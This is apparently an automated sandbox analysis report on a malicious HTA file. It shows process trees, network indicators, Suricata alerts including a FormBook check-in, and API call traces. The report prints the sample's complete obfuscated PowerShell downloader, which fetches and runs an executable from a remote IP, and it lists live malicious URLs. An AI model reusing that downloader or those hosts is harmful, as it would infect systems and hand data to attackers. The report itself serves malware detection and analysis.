Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	June 5, 2024, 9:21 a.m.	June 5, 2024, 9:24 a.m.

Size	11.3KB
Type	HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5	`24be5183dd56c3d08bae8625fba83aaa`
SHA256	`7d0ce5265370af5d96aaca0951fa1666eb0228709894dd9faa6bde3463483298`
CRC32	`3A1DB495`
ssdeep	`96:zH8vkfbark/NEWbg1r+DfjVZffjhifjs2yDWXZz2djQJc0q4rrvyrqTx:zU3vVorrr4rs2lXZz2djQJc0qerco`
Yara	None matched

mshta.exe "C:\Windows\System32\mshta.exe" C:\Users\test22\AppData\Local\Temp\dion.hta
1540
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function IoDuzQtSmLZDsM($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ){[IO.File]::WriteAllBytes($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ)};function voHIPLrDYNfT($NQBZAVZqPrIkQg){if($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36814,36822,36822))) -eq $True){rundll32.exe $NQBZAVZqPrIkQg }elseif($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36826,36829,36763))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $NQBZAVZqPrIkQg}elseif($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36823,36829,36819))) -eq $True){misexec /qn /i $NQBZAVZqPrIkQg}else{Start-Process $NQBZAVZqPrIkQg}};function bLCRUDAbBUWM($IqJPBCxyWYxTCQSt){$yWYjmjlURBEIl = New-Object (SYLmPANEWfVOJtmHRo @(36792,36815,36830,36760,36801,36815,36812,36781,36822,36819,36815,36824,36830));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OPgEpjTaIklYKXZ = $yWYjmjlURBEIl.DownloadData($IqJPBCxyWYxTCQSt);return $OPgEpjTaIklYKXZ};function SYLmPANEWfVOJtmHRo($nzshJXeE){$tskKTS=36714;$COiODkHcfwmaYFp=$Null;foreach($yAxoMiZElttnpFen in $nzshJXeE){$COiODkHcfwmaYFp+=[char]($yAxoMiZElttnpFen-$tskKTS)};return $COiODkHcfwmaYFp};function ZTRjGimAXeKUwvjzZO(){$usmWGjdJwVKwRXAINHG = $env:AppData + '\';$HhNblOezkUWRgv = $usmWGjdJwVKwRXAINHG + 'Auto%20R.exe'; if (Test-Path -Path $HhNblOezkUWRgv){voHIPLrDYNfT $HhNblOezkUWRgv;}Else{ $rPdsmVToBcNWuu = bLCRUDAbBUWM (SYLmPANEWfVOJtmHRo @(36818,36830,36830,36826,36772,36761,36761,36763,36771,36770,36760,36764,36765,36760,36764,36762,36763,36760,36770,36771,36761,36833,36811,36828,36823,36761,36779,36831,36830,36825,36751,36764,36762,36796,36760,36815,36834,36815));IoDuzQtSmLZDsM $HhNblOezkUWRgv $rPdsmVToBcNWuu;voHIPLrDYNfT $HhNblOezkUWRgv;};;;;}ZTRjGimAXeKUwvjzZO;
  2160
  - Auto%20R.exe "C:\Users\test22\AppData\Roaming\Auto%20R.exe"
    2360
    - .exe "C:\Users\test22\AppData\Roaming\Auto%20R.exe"
      2456
      - svchost.exe "C:\Users\test22\AppData\Roaming\Auto%20R.exe"
        2568
netbtugc.exe "C:\Windows\SysWOW64\netbtugc.exe"
2624
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
www.sqlite.org	A 45.33.6.223	45.33.6.223
www.3xfootball.com	A 154.215.72.110	154.215.72.110

IP Address	Status	Action
154.215.72.110	Active	Moloch
164.124.101.2	Active	Moloch
198.23.201.89	Active	Moloch
45.33.6.223	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49164 -> 198.23.201.89:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 198.23.201.89:80 -> 192.168.56.103:49164	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 198.23.201.89:80 -> 192.168.56.103:49164	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 198.23.201.89:80 -> 192.168.56.103:49164	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49174 -> 154.215.72.110:80	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW June 5, 2024, 9:21 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 5, 2024, 9:21 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 5, 2024, 9:21 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 5, 2024, 9:21 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA June 5, 2024, 9:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 5, 2024, 9:22 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW June 5, 2024, 9:22 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 5, 2024, 9:21 a.m.			0	0
IsDebuggerPresent June 5, 2024, 9:22 a.m.			0	0
IsDebuggerPresent June 5, 2024, 9:22 a.m.			0	0

Command line console output was observed (27 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: Exception setting "SecurityProtocol": "Cannot convert null to type "System.Net. console_handle: 0x00000023	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: SecurityProtocolType" due to invalid enumeration values. Specify one of the fol console_handle: 0x0000002f	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: lowing enumeration values and try again. The possible enumeration values are "S console_handle: 0x0000003b	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: sl3, Tls"." console_handle: 0x00000047	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: At line:1 char:795 console_handle: 0x00000053	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: + function IoDuzQtSmLZDsM($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ){[IO.File]::WriteAl console_handle: 0x0000005f	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: lBytes($NQBZAVZqPrIkQg, $OPgEpjTaIklYKXZ)};function voHIPLrDYNfT($NQBZAVZqPrIkQ console_handle: 0x0000006b	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: g){if($NQBZAVZqPrIkQg.EndsWith((SYLmPANEWfVOJtmHRo @(36760,36814,36822,36822))) console_handle: 0x00000077	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: -eq $True){rundll32.exe $NQBZAVZqPrIkQg }elseif($NQBZAVZqPrIkQg.EndsWith((SYLm console_handle: 0x00000083	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: PANEWfVOJtmHRo @(36760,36826,36829,36763))) -eq $True){powershell.exe -Executio console_handle: 0x0000008f	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: nPolicy unrestricted -File $NQBZAVZqPrIkQg}elseif($NQBZAVZqPrIkQg.EndsWith((SYL console_handle: 0x0000009b	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: mPANEWfVOJtmHRo @(36760,36823,36829,36819))) -eq $True){misexec /qn /i $NQBZAVZ console_handle: 0x000000a7	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: qPrIkQg}else{Start-Process $NQBZAVZqPrIkQg}};function bLCRUDAbBUWM($IqJPBCxyWYx console_handle: 0x000000b3	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: TCQSt){$yWYjmjlURBEIl = New-Object (SYLmPANEWfVOJtmHRo @(36792,36815,36830,3676 console_handle: 0x000000bf	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: 0,36801,36815,36812,36781,36822,36819,36815,36824,36830));[Net.ServicePointMana console_handle: 0x000000cb	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: ger]:: <<<< SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OPgEpjTaIklYK console_handle: 0x000000d7	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: XZ = $yWYjmjlURBEIl.DownloadData($IqJPBCxyWYxTCQSt);return $OPgEpjTaIklYKXZ};fu console_handle: 0x000000e3	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: nction SYLmPANEWfVOJtmHRo($nzshJXeE){$tskKTS=36714;$COiODkHcfwmaYFp=$Null;forea console_handle: 0x000000ef	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: ch($yAxoMiZElttnpFen in $nzshJXeE){$COiODkHcfwmaYFp+=[char]($yAxoMiZElttnpFen-$ console_handle: 0x000000fb	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: tskKTS)};return $COiODkHcfwmaYFp};function ZTRjGimAXeKUwvjzZO(){$usmWGjdJwVKwRX console_handle: 0x00000107	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: AINHG = $env:AppData + '\';$HhNblOezkUWRgv = $usmWGjdJwVKwRXAINHG + 'Auto%20R.e console_handle: 0x00000113	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: xe'; if (Test-Path -Path $HhNblOezkUWRgv){voHIPLrDYNfT $HhNblOezkUWRgv;}Else{ $ console_handle: 0x0000011f	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: rPdsmVToBcNWuu = bLCRUDAbBUWM (SYLmPANEWfVOJtmHRo @(36818,36830,36830,36826,367 console_handle: 0x0000012b	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: ,36764,36762,36796,36760,36815,36834,36815));IoDuzQtSmLZDsM $HhNblOezkUWRgv $rP console_handle: 0x0000014f	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: dsmVToBcNWuu;voHIPLrDYNfT $HhNblOezkUWRgv;};;;;}ZTRjGimAXeKUwvjzZO; console_handle: 0x0000015b	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: + CategoryInfo : InvalidOperation: (:) [], RuntimeException console_handle: 0x00000167	1	1
WriteConsoleW June 5, 2024, 9:22 a.m.	buffer: + FullyQualifiedErrorId : PropertyAssignmentException console_handle: 0x00000173	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cedb8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cee38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cee38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cee38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf6b8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cee38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cee38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:21 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cee38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf778 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cef78 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001ceff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey June 5, 2024, 9:22 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x001cf338 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 5, 2024, 9:21 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ June 5, 2024, 9:23 a.m.	stacktrace: 0xa917a 0x940f6 0x9f49b 0x96f87 0xa4587 0x96e24 0xa44fb 0x919a2 0xa69d7 0x915c5 0xa42b7 0xa9760 0x89e57 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 66 39 01 74 0b 8d 49 00 40 66 83 3c 41 00 75 f8 exception.instruction: cmp word ptr [ecx], ax exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xaa848 registers.esp: 2873412 registers.edi: 2873456 registers.eax: 0 registers.ebp: 2873412 registers.edx: 0 registers.ebx: 2877956 registers.esi: 2006581772 registers.ecx: 0	1	0	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://198.23.201.89/warm/Auto%20R.exe

Performs some HTTP requests (4 events)

request	GET http://198.23.201.89/warm/Auto%20R.exe
request	POST http://www.3xfootball.com/fo8o/
request	GET http://www.3xfootball.com/fo8o/?9LnGaVx=IhZyPQIGe6uK3zPwwQVGm4hCASyaX3xlW2eS79Xk6ut4afzj0LiRHBqZsEmyTx+18GfGhVOagMos+c9dx/PGjLGAfpOvJ7U3hUqpnKd0zHv/hQdGhX4G3JlCydyJ23yerjxn4r8=&9KJ=FLmtL7Haabh3IASW
request	GET http://www.sqlite.org/2021/sqlite-dll-win32-x86-3350000.zip

Sends data using the HTTP POST Method (1 event)

request

POST http://www.3xfootball.com/fo8o/

Allocates read-write-execute memory (usually to unpack itself) (50 out of 160 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 1900544 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02740000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71aa1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x71aa2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02517000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02502000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02515000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02650000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:21 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02503000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02504000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02505000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02506000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 5, 2024, 9:22 a.m.	process_identifier: 2160 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02507000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
